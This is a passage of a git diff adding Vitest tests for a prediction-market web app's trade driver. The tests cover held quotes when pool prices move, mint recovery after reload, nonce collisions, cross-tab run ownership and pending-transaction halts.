expect(storage.getItem(key)).toBe(evidence); + driver.reset(); + expect(storage.getItem(key)).toBe(evidence); + } finally { + driver.dispose(); + } + }, + ); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.increasingBuy.test.ts b/apps/web/src/features/predict/run/__tests__/driver.increasingBuy.test.ts new file mode 100644 index 00000000..8a848101 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.increasingBuy.test.ts @@ -0,0 +1,182 @@ +import { type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { + decodeFunctionData, + encodeFunctionData, + type Address, + type Hash, + type PublicClient, + type TransactionReceipt, +} from "viem"; +import { describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeReader, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import { departures, sessionTokensOf } from "@/features/predict/flow/allowed"; +import type { OptionChainState, PredictOption } from "@/features/predict/flow/types"; +import { createPredictRun } from "@/features/predict/run/driver"; +import { previewTrades } from "@/features/predict/utils/plan"; +import { sqrtPriceX96FromPrice, swapToward } from "@/features/predict/utils/poolMath"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; +import { createLensQuoter } from "@/lib/swap/lens"; +import { tickAtSqrtPrice } from "@/lib/swap/tickMath"; + +import { tradeExecutorAbi } from "@/config/contracts"; + +const lensQuote = vi.hoisted(() => vi.fn()); +vi.mock("@seer-pm/lens/client", async (original) => ({ + ...(await original()), + Lens: class { + quote = lensQuote; + }, +})); + +const option: PredictOption = { + childMarket: "0x0100000000000000000000000000000000000001", + upToken: "0x0300000000000000000000000000000000000003", + downToken: "0x0400000000000000000000000000000000000004", + invalidToken: "0x0500000000000000000000000000000000000005", + underlying: "0x0900000000000000000000000000000000000009", + targetPriceWad: (WAD * 3n) / 4n, +}; +const pool = (price: bigint) => ({ + sqrtPriceX96: sqrtPriceX96FromPrice(price, true), + liquidity: 10000n * WAD, + tick: tickAtSqrtPrice(sqrtPriceX96FromPrice(price, true)), + ticks: [], + fee: 1000n, + outcomeIsToken0: true, +}); +const shownState: OptionChainState = { + pools: { up: pool(WAD / 4n), down: pool(WAD / 2n) }, + held: { up: 0n, down: 0n, invalid: 0n }, + underlying: 0n, +}; +const liveState: OptionChainState = { + ...shownState, + pools: { up: pool((WAD * 3n) / 10n), down: pool((WAD * 6n) / 10n) }, +}; + +describe("held quotes when a better sell funds a larger buy", () => { + it.each([ + { moves: false, name: "keeps the shown input and scaled minimum when pools do not move" }, + { moves: true, name: "requires confirmation when a larger buy pays below the confirmed rate" }, + ])("$name", async ({ moves }) => { + const run = snapshot({ options: [option], collateralIn: 100n * WAD, deposit: 100n * WAD }); + const shown = previewTrades( + { + pools: shownState.pools, + held: shownState.held, + targetPriceWad: option.targetPriceWad, + splitAmount: run.collateralIn, + }, + run.slippage.tradeBps, + )!; + + let quoteState = shownState; + lensQuote.mockImplementation( + async (request: { + tokenIn: Address; + tokenOut: Address; + amount: bigint; + recipient: Address; + deadline: bigint; + }) => { + const side = request.tokenIn === option.downToken ? "down" : "up"; + const target = side === "up" ? option.targetPriceWad : WAD - option.targetPriceWad; + const { amountOut } = swapToward(quoteState.pools[side], target, request.amount); + return { + amountIn: request.amount, + amountOut, + target: addresses.swapRouter, + msgValue: 0n, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: request.tokenIn, + tokenOut: request.tokenOut, + recipient: request.recipient, + amountIn: request.amount, + deadline: request.deadline, + amountOutMinimum: 0n, + limitSqrtPrice: 0n, + }, + ], + }), + }; + }, + ); + const sends: FlowTx[] = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 2n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + return `0x${sends.length.toString(16).padStart(64, "0")}` as Hash; + }, + waitForReceipt: async ({ hash }) => receipt(hash), + getReceipt: async (hash) => receipt(hash), + isKnown: async () => true, + }; + const reader = fakeReader({ deployed: true, state: () => shownState }); + const readStates = reader.optionStates; + reader.optionStates = async (args) => { + const states = await readStates(args); + // Preflight sees the preview; another trade lands after the final build reads its pools. + if (moves && reader.asked.length === 3) quoteState = liveState; + return states; + }; + const quoteRequests: import("@/lib/swap/types").SwapQuoteRequest[] = []; + const lens = createLensQuoter({} as PublicClient, 100, async () => 100n); + const driver = createPredictRun({ + gateway, + reader, + quoter: { + quote: (request) => { + quoteRequests.push(request); + return lens.quote(request); + }, + }, + flowId: "held-input", + ctx: () => ctx(), + snapshot: () => run, + }); + try { + driver.start({ plans: {} }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + expect(driver.getProgress().moved?.plans[option.childMarket.toLowerCase()]).toEqual(shown); + expect(sends).toHaveLength(0); + driver.confirm(); + if (moves) { + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + expect(sends).toHaveLength(1); + const buy = [...quoteRequests].reverse().find((request) => request.tokenIn === option.underlying)!; + const before = shown.buys[0]!; + expect(buy.amount).toBeGreaterThan(before.amountIn); + expect(buy.heldOut).toBe((before.outcomeOut * buy.amount) / before.amountIn); + return; + } + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(sends).toHaveLength(2); + const tx = sends[1]!; + expect( + departures({ tx, ctx: ctx(), sessionTokens: sessionTokensOf(ctx(), [option]), from: addresses.owner }), + ).toEqual([]); + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }); + if (batch.functionName !== "batchExecute") throw new Error("Not a prediction batch"); + const swaps = batch.args[0] + .filter((call) => call.to.toLowerCase() === addresses.swapRouter.toLowerCase()) + .map((call) => decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: call.data }).args[0]); + const buy = swaps.find((swap) => swap.tokenIn.toLowerCase() === option.underlying.toLowerCase())!; + const before = shown.buys[0]!; + const required = (((before.outcomeOut * buy.amountIn) / before.amountIn) * 9900n) / 10000n; + const fill = swapToward(quoteState.pools.up, option.targetPriceWad, buy.amountIn).amountOut; + expect(fill).toBeGreaterThanOrEqual(buy.amountOutMinimum); + expect(buy.amountIn).toBe(before.amountIn); + expect(buy.amountOutMinimum).toBeGreaterThanOrEqual(required); + } finally { + driver.dispose(); + } + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.mintReadRecovery.test.ts b/apps/web/src/features/predict/run/__tests__/driver.mintReadRecovery.test.ts new file mode 100644 index 00000000..4347df25 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.mintReadRecovery.test.ts @@ -0,0 +1,141 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import { decodeFunctionData, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + ctx, + fakeQuoter, + fakeReader, + landedTx, + option, + snapshot, + WAD, +} from "@/features/predict/flow/__tests__/support/fakes"; +import { STEP_ID } from "@/features/predict/flow/plan"; +import type { PredictCtx, PredictReader, PredictSnapshot } from "@/features/predict/flow/types"; +import { createPredictRun } from "@/features/predict/run/driver"; +import type { PredictDriver } from "@/features/predict/run/types"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +const hash = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as Hash; +const receipt = (hash: Hash, status: "success" | "reverted" = "success") => + ({ transactionHash: hash, status, blockNumber: 20n, logs: [] }) as unknown as TransactionReceipt; +function deferred() { + let resolve!: (value: T) => void; + const promise = new Promise((r) => { + resolve = r; + }); + return { promise, resolve }; +} +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); +function run(args: { + gateway: TxGateway; + reader: PredictReader; + store: FlowRunStore; + flowId: string; + request?: PredictSnapshot; +}) { + const driver = createPredictRun({ + ...args, + ctx: () => ctx(), + quoter: fakeQuoter(), + snapshot: () => args.request ?? snapshot({ options: [option(1), option(2)] }), + unansweredSend: { waitMs: 0, pollMs: 1 }, + }); + drivers.push(driver); + return driver; +} +function parentSplit(tx: FlowTx): bigint { + if (tx.to !== addresses.executor || !tx.data) return 0n; + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data }); + let sum = 0n; + for (const call of batch.args[0] ?? []) { + if (call.to !== addresses.router) continue; + const inner = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (inner.functionName === "splitPosition" && inner.args[1] === addresses.parentMarket) + sum += inner.args[2] as bigint; + } + return sum; +} + +describe("native deposit mint recovery", () => { + it("rereads the minted amount after reload during the deposit log read", async () => { + const flowId = "mint-read-reload"; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const estimate = (WAD * 8n) / 10n; + const minted = estimate - 1000n; + const request = snapshot({ depositNative: true, collateralIn: estimate, collateralBefore: 0n }); + const prompt = deferred(); + const mintReadStarted = deferred(); + const mintRead = deferred[]>(); + const sends: FlowTx[] = []; + let deposit: FlowTx | undefined; + let mined = false; + let blockMintRead = true; + const gateway: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + if (tx.to === addresses.sDaiAdapter) { + deposit = tx; + prompt.resolve(); + return new Promise(() => {}); + } + return hash(sends.length); + }, + waitForReceipt: async ({ hash: target }) => + receipt(target, parentSplit(sends[Number(BigInt(target)) - 1]!) > minted ? "reverted" : "success"), + getReceipt: async (target) => receipt(target), + isKnown: async () => true, + }; + const reader: PredictReader = { + ...fakeReader({ deployed: true }), + sentWithNonce: async () => + mined ? { status: "mined", hash: hash(1), success: true, ...landedTx(deposit!, minted) } : { status: "none" }, + landedSince: async () => { + if (!mined) return []; + if (blockMintRead) { + mintReadStarted.resolve(); + return mintRead.promise; + } + return [landedTx(deposit!, minted)]; + }, + }; + const first = run({ gateway, reader, store, flowId, request }); + first.start(); + await prompt.promise; + first.dispose(); + mined = true; + + const second = run({ gateway, reader, store, flowId, request }); + second.recover(); + await vi.waitFor(() => expect(second.getProgress().stage).toBe("review")); + second.resume(); + await mintReadStarted.promise; + const stored = store.load(flowId)!; + expect(stored.steps.find((s) => s.stepId === STEP_ID.deposit)?.outcome.status).toBe("skipped"); + expect(stored.snapshot.mintFinalized).not.toBe(true); + expect(stored.snapshot.collateralIn).toBe(estimate); + second.dispose(); // Reload while afterStep awaits the actual minted amount. + blockMintRead = false; + + const third = run({ gateway, reader, store, flowId, request }); + third.recover(); + await vi.waitFor(() => expect(third.getProgress().stage).toBe("review")); + third.resume(); + await vi.waitFor(() => expect(third.getProgress().stage).toBe("complete")); + expect(parentSplit(sends.at(-1)!)).toBe(minted); + expect(sends.filter((tx) => tx.to === addresses.sDaiAdapter)).toHaveLength(1); + expect(store.load(flowId)).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.moved.test.ts b/apps/web/src/features/predict/run/__tests__/driver.moved.test.ts new file mode 100644 index 00000000..481c329f --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.moved.test.ts @@ -0,0 +1,186 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { UserRejectedRequestError } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + chainState, + ctx, + poolQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { OptionChainState } from "../../flow/types"; +import { SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { previewTrades, type PreviewTrades } from "../../utils/plan"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const FLOW_ID = "predict-moved"; +const OPTION = option(1); +const KEY = OPTION.childMarket.toLowerCase(); +const REQUEST = snapshot({ options: [OPTION], deposit: WAD, collateralIn: WAD }); + +/** The fakes' pools: UP shallow above the estimate, DOWN deep below it. */ +const AS_SHOWN = chainState(); +/** UP four times as deep, so selling it to the estimate takes far more than was shown. */ +const DEEPER = chainState({ pools: { ...AS_SHOWN.pools, up: { ...AS_SHOWN.pools.up, liquidity: 2n * WAD } } }); +/** UP between the two, so the plan moves again. */ +const BETWEEN = chainState({ pools: { ...AS_SHOWN.pools, up: { ...AS_SHOWN.pools.up, liquidity: WAD } } }); + +/** The plan the popup shows for `state`, as `usePricePreview` works it out. */ +const planOn = (state: OptionChainState): PreviewTrades => + previewTrades( + { + pools: state.pools, + targetPriceWad: OPTION.targetPriceWad, + held: state.held, + splitAmount: state.underlying + REQUEST.collateralIn, + }, + SLIPPAGE_BPS, + )!; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function setup(initial: OptionChainState) { + let state = initial; + const sent: FlowTx[] = []; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sent.push(tx); + return Promise.reject(new UserRejectedRequestError(new Error("rejected"))); + }, + waitForReceipt: () => Promise.reject(new Error("nothing was sent")), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(false), + }; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, state: () => state }), + quoter: poolQuoter([OPTION], () => state), + flowId: FLOW_ID, + store, + ctx: () => ctx(), + snapshot: () => REQUEST, + }); + drivers.push(driver); + return { driver, sent, store, moveTo: (next: OptionChainState) => (state = next) }; +} + +const signed = (driver: PredictDriver) => + vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("rejected")); + +describe("createPredictRun when Predict is pressed", () => { + it("goes ahead when the pools still give the plan shown", async () => { + const { driver, sent } = setup(AS_SHOWN); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN) } }); + await signed(driver); + + expect(sent).toHaveLength(1); + expect(driver.getProgress().moved).toBeUndefined(); + }); + + it("signs nothing and names the option whose plan the pools moved, with the plan they give now", async () => { + const { driver, sent, store } = setup(DEEPER); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN) } }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + + expect(driver.getProgress().moved).toEqual({ markets: [OPTION.childMarket], plans: { [KEY]: planOn(DEEPER) } }); + expect(driver.getProgress().failure).toBeUndefined(); + expect(sent).toEqual([]); + expect(store.load(FLOW_ID)).toBeNull(); + }); + + it("goes ahead on confirm, against the plan it named", async () => { + const { driver, sent } = setup(DEEPER); + driver.start({ plans: { [KEY]: planOn(AS_SHOWN) } }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + + driver.confirm(); + await signed(driver); + + expect(sent).toHaveLength(1); + expect(driver.getProgress().moved).toBeUndefined(); + }); + + it("names the plan again rather than signing when the pools move again before confirm", async () => { + const { driver, sent, moveTo } = setup(DEEPER); + driver.start({ plans: { [KEY]: planOn(AS_SHOWN) } }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + + moveTo(BETWEEN); + driver.confirm(); + await vi.waitFor(() => expect(driver.getProgress().moved?.plans[KEY]).toEqual(planOn(BETWEEN))); + + expect(driver.getProgress().stage).toBe("moved"); + expect(sent).toEqual([]); + }); + + it("compares nothing for a run started with nothing to hold it to", async () => { + const { driver, sent } = setup(DEEPER); + + driver.start(); + await signed(driver); + + expect(sent).toHaveLength(1); + }); + + it("drops the named plan on reset", async () => { + const { driver } = setup(DEEPER); + driver.start({ plans: { [KEY]: planOn(AS_SHOWN) } }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + + driver.reset(); + + expect(driver.getProgress().stage).toBe("idle"); + expect(driver.getProgress().moved).toBeUndefined(); + }); +}); + +describe("createPredictRun's batch count across a moved confirm", () => { + it("keeps the batches the visitor saw at moved, whatever the node estimates on confirm", async () => { + const options = [OPTION, option(2), option(3)]; + let estimate = 100_000_000n; + const driver = createPredictRun({ + gateway: { + sendTransaction: () => Promise.reject(new UserRejectedRequestError(new Error("rejected"))), + waitForReceipt: () => Promise.reject(new Error("nothing was sent")), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(false), + }, + // everything already in a deployed trade wallet, so the first batch is estimated live + reader: fakeReader({ + deployed: true, + collateral: WAD, + state: () => DEEPER, + blockGasLimit: gasLimitFor(3), + estimateGas: () => Promise.resolve(estimate), + }), + quoter: poolQuoter(options, () => DEEPER), + flowId: `${FLOW_ID}-sized`, + store: createFlowRunStore({ storage: createMemoryStorage() }), + ctx: () => ctx(), + snapshot: () => ({ ...REQUEST, options, deposit: 0n, collateralBefore: WAD }), + }); + drivers.push(driver); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN) } }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + const shown = driver.getProgress().batches; + expect(shown).toBe(3); + + estimate = 1_000_000n; + driver.confirm(); + await signed(driver); + + expect(driver.getProgress().batches).toBe(shown); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.nonceTaken.test.ts b/apps/web/src/features/predict/run/__tests__/driver.nonceTaken.test.ts new file mode 100644 index 00000000..fd807c86 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.nonceTaken.test.ts @@ -0,0 +1,125 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { LandedTx, SentTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const internalError = () => + new Error("Transaction failed", { cause: Object.assign(new Error("Internal JSON-RPC error."), { code: -32603 }) }); + +const isBatch = (tx: FlowTx) => tx.to === addresses.executor; +const OTHER: FlowTx = { to: "0x000000000000000000000000000000000000dEaD", data: "0x", value: 0n }; + +/** + * A chain that mines the owner's sends in nonce order. As the second batch's prompt is open, another transaction + * from the owner takes the nonce read for it; the wallet then broadcasts the batch at the next one and throws. + */ +function chain() { + const byNonce: Array<{ hash: Hash; tx: FlowTx; block?: bigint }> = []; + const sends: FlowTx[] = []; + let head = 1n; + let intruded = false; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: head, logs: [] }) as unknown as TransactionReceipt; + const push = (tx: FlowTx) => { + byNonce.push({ hash: `0x${(byNonce.length + 1).toString(16).padStart(64, "0")}` as Hash, tx }); + return byNonce.length - 1; + }; + + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + if (!intruded && isBatch(tx) && sends.filter(isBatch).length === 2) { + intruded = true; + push(OTHER); + push(tx); + return Promise.reject(internalError()); + } + const nonce = push(tx); + byNonce[nonce]!.block = ++head; + return Promise.resolve(byNonce[nonce]!.hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + + const sentWithNonce = ({ nonce }: { nonce: number }): Promise => { + const sent = byNonce[nonce]; + if (!sent) return Promise.resolve({ status: "none" }); + if (sent.block === undefined) return Promise.resolve({ status: "pending" }); + const { to, value = 0n, data = "0x" } = sent.tx; + return Promise.resolve({ status: "mined", hash: sent.hash, to, value, input: data, success: true }); + }; + + return { + gateway, + batchSends: () => sends.filter(isBatch).length, + mineOther: () => { + for (const sent of byNonce) if (sent.tx === OTHER && sent.block === undefined) sent.block = ++head; + }, + land: () => { + for (const sent of byNonce) if (sent.block === undefined) sent.block = ++head; + }, + reader: { + ...fakeReader({ deployed: true, blockGasLimit: gasLimitFor(1), state: () => chainState({ underlying: WAD }) }), + latestBlock: () => Promise.resolve(head), + nextNonce: () => Promise.resolve(byNonce.length), + hasPending: () => Promise.resolve(byNonce.some((sent) => sent.block === undefined)), + sentWithNonce, + landedSince: ({ fromBlock }: { fromBlock: bigint }): Promise => + Promise.resolve( + byNonce + .filter((sent) => sent.block !== undefined && sent.block >= fromBlock && sent.tx !== OTHER) + .map(({ tx }) => ({ to: tx.to, value: tx.value ?? 0n, input: tx.data ?? "0x", collateralReceived: WAD })), + ), + }, + }; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +describe("createPredictRun when another send takes the nonce read for a batch", () => { + it("signs that batch no second time while the owner still has a send pending", async () => { + const fake = chain(); + const driver = createPredictRun({ + gateway: fake.gateway, + reader: fake.reader, + quoter: fakeQuoter(), + flowId: "nonce-taken", + ctx: () => ctx(), + snapshot: () => snapshot({ options: [option(1), option(2)] }), + unansweredSend: { waitMs: 20, pollMs: 5 }, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + fake.mineOther(); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.reason).toBe("pending"); + expect(fake.batchSends()).toBe(2); + + fake.land(); + driver.retry(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + expect(fake.batchSends()).toBe(2); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.otherTab.test.ts b/apps/web/src/features/predict/run/__tests__/driver.otherTab.test.ts new file mode 100644 index 00000000..d1f01663 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.otherTab.test.ts @@ -0,0 +1,184 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import { createPredictRun } from "../driver"; +import { predictFlowId } from "../interrupted"; +import { createRunOwnership, type RunLocks, type RunOwnership } from "../ownership"; +import type { PredictDriver } from "../types"; + +const FLOW_ID = predictFlowId("session-1", addresses.owner); + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** One origin's Web Locks, shared by its tabs: a lock is held until its callback's promise settles. */ +function origin() { + const held = new Set(); + const locks: RunLocks = { + request: (async (name: string, _options: LockOptions, callback: (lock: Lock | null) => unknown) => { + if (held.has(name)) return callback(null); + held.add(name); + try { + return await callback({ name, mode: "exclusive" } as Lock); + } finally { + held.delete(name); + } + }) as RunLocks["request"], + query: () => Promise.resolve({ held: [...held].map((name) => ({ name, mode: "exclusive", clientId: "" })) }), + }; + /** One browser tab of this origin. */ + return { tab: (): RunOwnership => createRunOwnership(locks) }; +} + +/** A wallet whose prompts stay open when `hold` is set, as a visitor leaves one unanswered, until `decline()`. */ +function wallet(hold: boolean) { + const sends: FlowTx[] = []; + const open: Array<(error: Error) => void> = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + if (hold) return new Promise((_, reject) => open.push(reject)); + return Promise.resolve(`0x${sends.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + const decline = () => { + for (const reject of open.splice(0)) reject(Object.assign(new Error("User rejected the request."), { code: 4001 })); + }; + return { gateway, sends, decline }; +} + +function driverIn(ownership: RunOwnership, gateway: TxGateway, store: ReturnType) { + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true }), + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + store, + ownership, + }); + drivers.push(driver); + return driver; +} + +describe("run ownership across tabs", () => { + it("tells another tab a claimed run is held, never this one, and lets it go on release", async () => { + const site = origin(); + const [a, b] = [site.tab(), site.tab()]; + + const release = await a.claim(FLOW_ID); + expect(release).not.toBeNull(); + expect(await b.claim(FLOW_ID)).toBeNull(); + expect(await b.heldElsewhere(FLOW_ID)).toBe(true); + expect(await a.heldElsewhere(FLOW_ID)).toBe(false); + + release!(); + await vi.waitFor(async () => expect(await b.heldElsewhere(FLOW_ID)).toBe(false)); + }); +}); + +describe("createPredictRun with the run live in another tab", () => { + it("neither resumes nor discards it, and signs nothing until that tab lets go", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const site = origin(); + const [ownA, ownB] = [site.tab(), site.tab()]; + const walletA = wallet(true); + const walletB = wallet(false); + + const a = driverIn(ownA, walletA.gateway, store); + a.start(); + await vi.waitFor(() => expect(a.getProgress().stage).toBe("signing")); + + const b = driverIn(ownB, walletB.gateway, store); + b.recover(); + await vi.waitFor(() => expect(b.getProgress().failure?.reason).toBe("elsewhere")); + b.retry(); + b.reset(); + b.start(); + await vi.waitFor(() => expect(b.getProgress().failure?.reason).toBe("elsewhere")); + + expect(walletB.sends).toEqual([]); + expect(store.load(FLOW_ID)).not.toBeNull(); + expect(a.getProgress().stage).toBe("signing"); + + // the tab lets go once the prompt it left open is answered + a.dispose(); + walletA.decline(); + await vi.waitFor(async () => expect(await ownB.heldElsewhere(FLOW_ID)).toBe(false)); + b.reset(); + b.start(); + await vi.waitFor(() => expect(b.getProgress().recovered).toBeDefined()); + expect(b.getProgress().failure?.reason).not.toBe("elsewhere"); + }); + + it("holds the run while a wallet prompt it opened stays open after the popup is disposed", async () => { + const site = origin(); + let answer: ((hash: Hash) => void) | undefined; + const gateway: TxGateway = { + ...wallet(false).gateway, + sendTransaction: () => new Promise((resolve) => (answer = resolve)), + }; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const driver = driverIn(site.tab(), gateway, store); + driver.start(); + await vi.waitFor(() => expect(answer).toBeDefined()); + + driver.dispose(); + await new Promise((resolve) => setTimeout(resolve, 20)); + const other = site.tab(); + expect(await other.heldElsewhere(FLOW_ID)).toBe(true); + + answer!(`0x${"1".padStart(64, "0")}`); + await vi.waitFor(async () => expect(await other.heldElsewhere(FLOW_ID)).toBe(false)); + }); +}); + +describe("createPredictRun reopened in the tab whose closed popup left a wallet prompt open", () => { + it("says the prompt is still open here, not that another tab runs it, and recovers once it is answered", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const tab = origin().tab(); + const walletA = wallet(true); + const closed = driverIn(tab, walletA.gateway, store); + closed.start(); + await vi.waitFor(() => expect(closed.getProgress().stage).toBe("signing")); + closed.dispose(); + + const reopened = driverIn(tab, wallet(false).gateway, store); + reopened.recover(); + await vi.waitFor(() => expect(reopened.getProgress().failure?.reason).toBe("prompt-open")); + + walletA.decline(); + await vi.waitFor(() => expect(tab.heldHere(FLOW_ID)).toBe(false)); + reopened.retry(); + await vi.waitFor(() => expect(reopened.getProgress().recovered).toBeDefined()); + }); +}); + +describe("createPredictRun whose recover is run, disposed and run again, as React's StrictMode does", () => { + it("recovers the stored run rather than report it held in another tab", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + // a run left by an earlier popup, its deposit not yet signed + const earlier = driverIn(origin().tab(), wallet(true).gateway, store); + earlier.start(); + await vi.waitFor(() => expect(earlier.getProgress().stage).toBe("signing")); + earlier.dispose(); + + const driver = driverIn(origin().tab(), wallet(false).gateway, store); + driver.recover(); + driver.dispose(); + driver.recover(); + + await vi.waitFor(() => expect(driver.getProgress().recovered).toBeDefined()); + expect(driver.getProgress().failure?.reason).not.toBe("elsewhere"); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.pendingFailure.test.ts b/apps/web/src/features/predict/run/__tests__/driver.pendingFailure.test.ts new file mode 100644 index 00000000..09d02372 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.pendingFailure.test.ts @@ -0,0 +1,79 @@ +import { createFlowRunStore, createMemoryStorage, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictCtx, PredictReader, PredictSnapshot } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import { predictFlowId } from "../interrupted"; +import type { PredictDriver } from "../types"; + +const FLOW_ID = predictFlowId("session-1", addresses.owner); + +const gateway: TxGateway = { + sendTransaction: () => Promise.resolve(`0x${"1".padStart(64, "0")}` as Hash), + waitForReceipt: ({ hash }) => + Promise.resolve({ + transactionHash: hash, + status: "success", + blockNumber: 2n, + logs: [], + } as unknown as TransactionReceipt), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(false), +}; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function driverOn(reader: PredictReader, store = createFlowRunStore({ storage: createMemoryStorage() })) { + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + store, + }); + drivers.push(driver); + return { driver, store }; +} + +describe("createPredictRun stopped because its own transaction may still be confirming", () => { + it("keeps a new run halted at a pending transaction through reset", async () => { + const { driver, store } = driverOn(fakeReader({ deployed: true, pending: () => true })); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("pending")); + driver.reset(); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("keeps a recovered run whose deposit may have been signed with no hash kept through reset", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "running", + ctx: ctx(), + snapshot: snapshot(), + steps: [ + { stepId: STEP_ID.createExecutor, label: 